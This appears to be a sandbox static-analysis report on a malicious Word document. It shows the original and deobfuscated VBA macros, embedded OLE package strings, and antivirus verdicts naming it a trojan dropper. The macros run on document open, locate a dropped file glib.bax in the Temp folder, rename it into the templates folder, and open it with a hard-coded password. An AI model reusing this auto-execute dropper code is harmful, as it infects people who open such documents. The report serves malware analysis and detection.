popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
        Dim hdv As String
        Dim bbbb As String
        Dim med As String
Private Sub Document_Open()
Dim dfgdgdg
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)
Dim fdfcc As String
fdfcc = ".d"
If Dir(kytrewwf & "\gl" & "i" & "b" & fdfcc & "o" & "c") = "" Then
 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.TypeBackspace
    Selection.Copy
    Call bvxfcsd

If Len(hdv) > 2 Then

Call nam(hdv)

    Call pppx(kytrewwf & "\gl" & "ib.d" & "o" & "c")

    ActiveDocument.Close
End If
End If
End Sub




Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
        Dim hdv As String
        Dim bbbb As String
        Dim med As String
Private Sub Document_Open()
Dim dfgdgdg
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)
Dim fdfcc As String
fdfcc = ".d"
If Dir(kytrewwf & "\glib" & fdfcc & "oc") = "" Then
 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.TypeBackspace
    Selection.Copy
    Call bvxfcsd

If Len(hdv) > 2 Then

Call nam(hdv)

    Call pppx(kytrewwf & "\glib.doc")

    ActiveDocument.Close
End If
End If
End Sub




Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub

Original

                                        Attribute VB_Name = "Module1"


Sub pppx(spoc As String)
    Documents.Open FileName:=spoc, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="123321", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub



Sub ousx()
Call uoia(Options.DefaultFilePath(wdUserTemplatesPath))
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module1"


Sub pppx(spoc As String)
    Documents.Open FileName:=spoc, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="123321", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub



Sub ousx()
Call uoia(Options.DefaultFilePath(wdUserTemplatesPath))
End Sub

Original

                                        Attribute VB_Name = "Module3"

Sub bvxfcsd()
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)
Dim ewrwsdf As String
ewrwsdf = "L" & "oc" & "a" & "l"

ewrwsdf = ewrwsdf & "/" & "Temp"
 
    ntgs = 50
sda = 49
Dim kuls As String
kuls = ewrwsdf
While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(uuuuc, ntgs) & kuls, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & ewrwsdf)
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module3"

Sub bvxfcsd()
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)
Dim ewrwsdf As String
ewrwsdf = "Local"

ewrwsdf = ewrwsdf & "/Temp"
 
    ntgs = 50
sda = 49
Dim kuls As String
kuls = ewrwsdf
While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(uuuuc, ntgs) & kuls, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & ewrwsdf)
End Sub

Original

                                        Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object
    Dim Ters As Object
  Dim fffff
  fffff = "gl" & "ib.b" & "a" & "x"
For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = fffff Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub



Sub nam(pafs As String)
Call ousx
Dim oxl
oxl = "\gl" & "ib.d" & "o" & "c"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object
    Dim Ters As Object
  Dim fffff
  fffff = "glib.bax"
For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = fffff Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub



Sub nam(pafs As String)
Call ousx
Dim oxl
oxl = "\glib.doc"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub
EMBED Package
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
nUZ=kI
$~u3{g
ieo.(S
5)93M
|,)#*h
i%C$WR
S'Z`>.
Cw+GoSG
GRTum\
-&=^%f
ui,."1r
ukm>i3
u9_,ZOG
WVO}Z8(x;
Paz#mv8
O+:k=R
t_:o!Uc
ki${dc
G-;Fn,|
ywe*0}
\\jW:U
rivik'
T.c*MG
-l..Ya
jmSL]gG
-lUo5+y
G/zM\q
a5mCUi#
S[yK3|
|W6m+/
I/<9"Gz
[Oki,*
]pW9*i
/<!$rJ
REo43F
jW?"6c
~Vkhdo'o
g4PI$RG3G
Ja'v::|
=UD{kJ;
tFWW9e
mZ+%dsN<
Wg<k,o
+W]MyY
iD&e*
>_+}Rb;O
jp[^,-
~}_x;L
^fO:H.
'$?h]j
S4[ZY$
xoTY#J
jvwRIp
R(eo-Yw7
"gsK#|
RIUlf3
joZ<Qq
?=eR7F
<Ar#TM
X}sO[y
rx:]c[
^KnY^3
+$?l[a
\GVn/!
IW.?u
kmsV;x
[xOKm>
t]tCP][$
tslFhZ/
e]1n^%
,Mk;E
scogy=
9m'_28
>'kpxwM
RG%I)\u
Tt;8l6yP
4T'Ze
SkA5rJ
^Iwe,Mx
?.I~_3v
]5oSdcO
i#2C4ed
_2kgy--d
4i+6?v
RyuiXM\mIE
yS],P43[
}FuHbA
{H,4Y"
[H4}5^x
q"El^$
SSh9t35KO
mNInaV
8uK)mnb
zlWI,7
PCW1|y
USWg&"MlS
WRT~W
z4j)+3
u4vur;:
jIEGRU
.InTa&
9>$xkK
kJ7fu6,
o>4^J6[
QEdhtc
Vt54r-p
CV*!RTu%
uI|Iqq
E}'EU
\Z0}h
OLE Package
Package
Normal.dotm
glib.bax
C:\Users\MyPc\Desktop\New folder\glib.bax
C:\Users\MyPc\AppData\Local\Temp\glib.bax
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<encryption xmlns="http://schemas.microsoft.com/office/2006/encryption" xmlns:p="http://schemas.microsoft.com/office/2006/keyEncryptor/password" xmlns:c="http://schemas.microsoft.com/office/2006/keyEncryptor/certificate"><keyData saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="R+HZMQO
N):SzI#F
vL'/^]
\iOl7+
KXl){|"%u(
Vb(dS
pIzK'8
=G*zzO
S:CQa}3
:ur#{v
`_lTx vp
n]Ec}>
nW/j+|fZ`
l*D'}a
TW^`\=
i{Es.4r
rKcYk36
Ln5KF
&10FWd#
d1PGwb
a6qZqj]
^.W8=^
CGjK'k
y<&tQ}
'h"Fl\g
&^#%mO
f/Je%v
fJ3OOM0
IyFlTi/V
'M3NQg\
3-G(4(
|Au;npO
Dodk:o
rUoJLr
r1g -L"
)+CrRF
z|y<r_
|nf+^{
R6xuO6-r{
\"39B3
o678H*{5
uT;G/r
:~FC(y
KFnxqS
TbcSeO
Scr*Tu^XVA\
TdM`0'
ovgMB=
/ohT<O
)--hUl
t{rnxY
Jx=6quP
BoG5' x
F]K>WN8
2[1`]2
7g-xuj`O
=V:>L4
J}tuTn
wwy@Ke}
%NDsC8y
!w[O![
}T@Vbm#?
;'|w"I,
E'd8"R
YTur9
U3tw{i
&@$rl>
-inK-M
E\gA'B0
mbrmf2
.l7-~|
A`B=K>
.6`NI/$
FewIN
<M;xK=.Lp
m1go*Xy
{l|AAY(
U}[:"1F
!SMZNk?
%?|6R7
vNF[Rc
*9yzi
Ld'<MgM
5ql,?4
U+5*X@]
0E=@4y
_n(*-PJB
wp4[$h
x{]]`l
%5#%aN
Oj3e j
uCO}I6
co9a_xk
NkVAs'
c_Xp!)
aW`A9(
!cB((\#
Qc`7:
_QFMWV
?b.MxA=
y"F:,i<~V
y,+h#FJa
sF,n[)
s1N!>ogI
TCE~ZG4
dr5(%>
x}!}s.Lc
1_&4eISGq
HuHL%P
ady2+
P,S;(D
#{qM<g=\
ekCrK9
av?tN:
I=!L0Dk
? u_[l
>`QM8E(u
)}rWye
N}>'+=
'\=3$U
pL<nL
.?{Gz F!"
ur!uFh
os=8]F
XYH= Eg
g\[17
wk&YqCj
ovKKl0
bB-?jM
wW&c}2
{K V4L
Ttx8[PP
Z9Pr>W
05"iOY
'U\-N}
{pWTXE
0TIG6pD
X]@s?P
R>vn@i
txW20i/
_mrK?VY2Lr
KZ*+<:
p$4b6a6
0#vpIJ
#':.(i
Ho=cGb
*;1`%3&At
v(<*q{5
U$#`FD[
T|)~,r
oGK[A_
7SS1iBWGi
'v|O0x
$AVF`fq{
1BJ/nW
bPPWcvv
N/.xE:
Q>r?,/"
Czt&*J
!*L#!7x
KB'?fJ[
ucq>gfN
b;5r2Y
g_29Qg
JaA=JE
,}&>xQ
+#p>e>
~;LTmVP"
tmA~RN
cSEP12#
yFguIAD
+-N8=v
2\3J{'{
6f37%s`
<$r{@ b
<(GUDe
2:R<m\
VwP=*l
Qfu`X%?mJ
Gk1"<G
IeUSb
*Y23T0
8L_H<7{P
}npxtB
ejRf=9
DqlYy&*;@
?:)0}qO
[]S<l+
"toP=fu
pua:>k
vkFGq5#
/nYfq9B
},)q`v
|g4"!&
yN{wsX
!wWNPT
J0/ e
WCEmVh
u9s!bv
Fti~K}
{V`]a|g
mHK<~@
[H ]-h
V~cPsK
ly~11#
tL:Ms7*Ve
.nhct5|[i)"
~S7G@q
t=LD,qm
$RtFG]
s91(`p
c5T6,C
|>x^{X
3_Gl%ku
Vf0#vh\
j.q]mZ
e:}Ms+Mx
1{Ku>s
N/.[(,[
7k&K|p
nkJK|1FHF
h#dSA!
bee_/.
4Zwahp
V^Dyv|
2+t7Uv
lZ(sT?
}1Cxi
@?Ky-W
4+ptWJ
LHp]4v
fTyvIZ2
9LtMH<4e
r9 [.!
6Q<uviy
2Qyb:\C
\;3z.'H
L-$of3
sbMH|D
/0p'Rb
'-[[wZ
5l"ca;
Bx>da9
@[C!>h&
2[r dQ>"
3Xx`Pzq
1(la~a
=7&~5T@
VDpNOZ\y
.? C01
WwKdJT
cOWT=3
{?ZJxD
/Tx+>a[
.1b5*|
~lXsXkD
VQyW3l
ypU)vwln>
(#7qaf
!dGbc~
&+*LDG
{`cM[DN
1Z"tvdwR
U;rQw
n"9w"M
T2+x3DF
M4EZ1W
va!HdZm
Vl!68F
|`rT[;
XY7r}*
":pyBX
hiH}_f
*OcwH?
Pst{(3$
xFH;vU?
KT:;g3
] %8$c_^
\\8I>`
C5o90m#
+T=OVa
J?_Mwv
VP%.#)
KD6~n;b
#:Zw[_
qb9~-o
V7S<uc"!
1]0d#@
6Wp0Z\7
YR-bg7^
.4HQ=W%
i(N"1(r[
flTKc\
S:)~ Q
@l`sBr
W?GV">z
Ddr(J
sYML8V
(N}42
^#NY$M
:.s1Q!
4_jJcE
rRA.U0
bnI(Bo8G
?=_>nX5
abN~Z.d
jkV,5=
#Ei*NA
a;d&Wv
)Y("Ix
%k?y5q
]t)O&1
2rXVwL
utb:%uxowE
PrwFmz
[S<\L@&94
|@%#o{
HC:CoP&
X(86UJ
qj2\=M
/7.7{s
SNh(9A
lI\t16=
9>B-9P0
0SC4[1
mA#):*
#B101
7l/;${
*'r`/xV
=aRF4N
n.H]u^e
VcUFiR
^~`MGj
7.mDp@v
-G^Wu9
Py#m"o
ofb&Gf
HnGa{Dmg-'Gj
{,_2Xw7(
Qaa8z^
nqo0tj
"EA[:)w
vKyT79<
W:3/K:`
q5zFW2x
[Z8Ha6
"R8c[/
Fbi)aU
IJe(OV
$a{0,
s|WZob
}^ghZR
&}e](D
vSZ\BN
plY ykO{
o#NDCop
**yG3V
1IJ)Y{'
+<<bRw
9k0~QI
Zm6E'C
awB^|u
>t'O"c
X9C2Y
q~5g^W1
0-b}:8Z
7/_AXg
.mv_$^
9Sa%Fzg5
P-2I0L
C<- el^
GPjI*Q
M:qM3-K+
tRjNK*nr
LH(F==
[!s JO
V/rN-3
nQOO8f
;yLzy$<K
<f73{T
nRkf0
jF2`?p0nJ
YN"V/ft
m'5_^F
mnTw}.
=QUuS
C}]weq6
N@A:+{
4z^O"'<
me8a9`
b9Lo^l
5rW:jY
({tnhH6~
dMI`u.a
VViKovl;
o|Thd{
qtXqyj
?1HDTv
39P4Cp
]|ZFvbq
T"/l;Q
TT^s$7|
i*N(Lch
x-zB?NvvA
(U.Zj!
#=2v>
\uW$s#N
M>Jb]
S}d*W7
*e_W.BO
g}<'+"Jk
?<sxR/mNG
hz`xL
DJUz/N
jOF^HT
TB@fOK
e)Dn_3
(!0Qvv
y&NC~C
g5Y#&4
Bq9Emo
>Hnp170
,!G61>@
m0A'j0
WvC6,
:Gu_y
,^Osx}
wXi|XL
,t[= Q
{F^w`gb
\>c$I\
b2m</[
(na_2,dVS}8
O_&#vf
7T{P4g
x9ps"}%
kRw:Yo
ma3+zZ
:.fSB$P
: j3X
']*apG
}'t#oB
!!k2AOd
>))XQ*
q~O{7"v
WlL+t
ZXDUt4[
Z?>+/I1v-=T
]8MY2&
wh]bP!8e
tR?eCp
Y(5KMv
A;ZNk!h
#m&'y#
.T^1sz
ns}i;p@}
lX1ZLqSYpeE0l0Q=="/><dataIntegrity encryptedHmacKey="qMSIWMGLXySWrfojvJd7mTkpBSWACp/BLoPdB/iQ1DkvoPdGECx3yChxsxKPO41CJ1f6Df3hdNU9W2lsiAZknw==" encryptedHmacValue="lf2PwkFusJ4eO+YdxNPH3PeqAN+XwXAYTP3omu/WkWYWVw87yBJqifwqr7eoKNW6GfN+P6zWGvDdRBbbasC6Cg=="/><keyEncryptors><keyEncryptor uri="http://schemas.microsoft.com/office/2006/keyEncryptor/password"><p:encryptedKey spinCount="100000" saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="nCxrZgCSGtvtT3WuK8txTg==" encryptedVerifierHashInput="midvhul3RPPUGpKYmczLYg==" encryptedVerifierHashValue="NePABK1cYwU46vCzcfuz8AwdbMmaehS+euGuHqEdKZZDBJ3mYU9KZM2GeEuwBXyvep0KAluogNRq7qIH2fQtoA==" encryptedKeyValue="fGOv6oW1LWFvEf43PYCRenmQiWRFHtJd8wBRe+Lt7Cc="/></keyEncryptor></keyEncryptors></encryption>
JHWgB:
`Y!/5<
d2}`79
Microsoft Office Word
Project
\G{00020
0046}#
2.0#0#C:
\Windows
\System3
e2.tlb
#OLE Aut
omation
ENormal
!Offic
!G{2DF
8D04C-5B
FA-101B-
m Files\@Common
icrosoft
Shared\
OFFICE16
\MSO.DLL
M 16.0
Lib0rary
5Scripti
f420B28
E718-11C@F-893D
C9054228
fcrru`n.dllH*
Runtime
ocumentG
qeQ@.t
Module1G
123321
Attribut
e VB_Nam
e = "Mod
Sub pppx
(spoc As
Docume
nts.Open File
Z, Confi
ons:=Fal
se, Read
Only:= _
AddTo8Rec
5Pa@ssword
="123321
&Temp0late
'Form2a
to, XMLT`ransf
ousx(
Call uo@ia(Opt
Default
Path(wdU
Attribut
e VB_Nam
e = "Mod
Sub bvx
fcsd()
Dim u
ns.Defau
ltFilePa
th(wdUse
rTemplat
sdf As Sa
" & "oc
`kuls
Dir(Left
C"" pThen
End If
$isDocu
ment.hdh
CNormalrU
ThisDocument
Module1
Module3
Module123345
Project
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files\Microsoft Office\Root\Office16\MSWORD.OLB
C:\Windows\System32\stdole2.tlb
stdole
C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
C:\Windows\System32\scrrun.dll
Scripting
Document
Document_Open
VBE7.DLL
bvxfcsd
Search
Attribut
e VB_Nam
e = "Mod
ule12334
pls As S!
ub Searc
ect, paf!
gl" &@ "ib.b
%Files
andle:
Call o
ID="{04FA5949-C32C-45D9-9D31-874EC605FC93}"
Document=ThisDocument/&H00000000
Module=Module1
Module=Module3
Module=Module123345
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="E4E63B21FB01FF01FF01FF01FF"
DPB="C8CA17A818A818A8"
GC="ACAE7369B34CB44CB4B3"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=78, 0, 1098, 467,
Module1=104, 104, 1124, 4T
Attribut
e VB_Nam
e = "Thi
sDocumen
1Normal
VGlobal!
Pre decla
lateDeri
$Custom
Dim hdv
X Sub
_Open()
kytreww&f
DefaultF
ilePath(@wdUser
fdfccI
" ThenA
FSelecAW.
MoveDown
Unit:=w
dLine, Choun
Cha@racter
TypeB0acks
bvxfcsd
pppxS_b
End |If
dhdd(asd
DMyFSO
aJSystem
SourceF
older!
ZDestina
New Scr
Search(
{`#&`
Win64x
Project-
stdole
Normal
Office
Scripting
ThisDocument<
_Evaluate
Document_Open
vcbc8)
dfgdgdgH
Options
DefaultFilePath
wdUserTemplatesPath
SelectionZ
MoveDown
wdLine
Count0v
MoveRight
wdCharacter
TypeBackspacea
bvxfcsdn
ActiveDocument
hdhdde
FileSystemObjectNU
MyFile
SourceFolder
DestinationFolder
MyFolder
Folder
MySubFolder
Search
GetFoldern
Module1b
Documents
FileNamej
ConfirmConversions
ReadOnly4<
AddToRecentFiles
PasswordDocument8
PasswordTemplate
Revert
WritePasswordDocument
WritePasswordTemplate
wdOpenFormatAutoh
XMLTransform
ousx4$
Module3d
ewrwsdf
ntgs|W
vbDirectoryg
Module123345+
pafs7}
SubFoldersx=
FileswX
ErrHandle
Documentj
gfdgdfgi
kytrewwfjA
Module3=156, 156, 1176, 545,
Module123345=52, 52, 733, 385, Z
ThisDocument
Module1
Module3
Module123345
Microsoft Word 97-2003 Document
MSWordDoc
Word.Document.8
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
$4vq^W
MB[F7x"
>Yr]H+
a!e9#i
An7jah
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
Root Entry
WordDocument
ObjectPool
_1691969878
EPRINT
CompObj
ObjInfo
Segoe UI
glib.bax
Ole10Native
1Table
SummaryInformation
DocumentSummaryInformation
Root Entry
EncryptedPackage
DataSpaces
Version
Microsoft.Container.DataSpaces
EncryptedPackage2
StrongEncryptionDataSpace
StrongEncryptionTransform
{FF9A3F03-56EF-4613-BDD5-5A41C1D07246}N
Microsoft.Container.EncryptionTransform
DataSpaceMap
DataSpaceInfo
StrongEncryptionDataSpace
TransformInfo
StrongEncryptionTransform
Primary
EncryptionInfo
C:\Users\MyPc\AppData\Local\Temp\glib.bax
glib.bax)
C:\Users\MyPc\Desktop\New folder\glib.bax
Macros
Module1
$*\Rffff*0K63253621
Module3
__SRP_0
__SRP_1
__SRP_2
$*\Rffff*0I63253621
__SRP_3
__SRP_4
__SRP_5
__SRP_6
__SRP_7
__SRP_8
__SRP_9
Module123345
$*\Rffff*0J63253621
ThisDocument
_VBA_PROJECT
PROJECT
PROJECTwm
(1Normal.ThisDocument
$*\Rffff*0H63253621
*\R1*#8d
*\R1*#17b
*\R1*#c1
*\R1*#166
*\R0*#12
*\R1*#1e
*\R1*#129
$*\Rffff*0I63253621
$*\Rffff*0J63253621
$*\Rffff*0K63253621
*\R1*#c6
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\Root\Office16\MSWORD.OLB#Microsoft Word 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\CNormal
*\CNormal
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
*\G{420B2830-E718-11CF-893D-00A0C9054228}#1.0#0#C:\Windows\System32\scrrun.dll#Microsoft Scripting Runtime
ThisDocument
0H63253621
ThisDocument
Module1
0K63253621
Module1
Module3
0I63253621
Module3
Module123345
0J63253621
Module123345
tThisDocument
1Module1
3Module3
5Module123345
Normal
Default Paragraph Font
Table Normal
No List
Project.Module1.ousx
Project.Module3.bvxfcsd
PROJECT.MODULE1.OUSX
PROJECT.MODULE3.BVXFCSD
Unknown
Times New Roman
Symbol
Calibri
Calibri Light
Cambria Math
CompObj
Antivirus Signature
Bkav Clean
Lionic Trojan.Script.Generic.b!c
Elastic Clean
MicroWorld-eScan VB:Trojan.Valyria.5252
CMC Clean
CAT-QuickHeal Clean
ALYac VB:Trojan.Valyria.5252
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Arcabit Clean
BitDefenderTheta Clean
Cyren W97M/Agent.ABS.gen!Eldorado
Symantec Clean
ESET-NOD32 a variant of VBA/TrojanDropper.Agent.CDU
Baidu Clean
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
ClamAV Clean
Kaspersky HEUR:Trojan-Dropper.Script.Generic
BitDefender VB:Trojan.Valyria.5252
NANO-Antivirus Clean
SUPERAntiSpyware Clean
Rising Clean
Ad-Aware VB:Trojan.Valyria.5252
Emsisoft Clean
Comodo Clean
F-Secure Clean
DrWeb Clean
VIPRE LooksLike.Macro.Malware.k (v)
TrendMicro Clean
McAfee-GW-Edition Clean
FireEye VB:Trojan.Valyria.5252
Sophos Clean
Ikarus Trojan-Dropper.VBA.Agent
Jiangmin Clean
Avira Clean
MAX malware (ai score=87)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Microsoft Clean
ViRobot Clean
ZoneAlarm Clean
GData VB:Trojan.Valyria.5252
Cynet Clean
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Clean
VBA32 Clean
Zoner Clean
Tencent Heur.Macro.Generic.c.a300810b
Yandex Clean
SentinelOne Static AI - Suspicious OLE
MaxSecure Clean
Fortinet Clean
AVG Script:SNH-gen [Trj]
Panda Clean
No IRMA results available.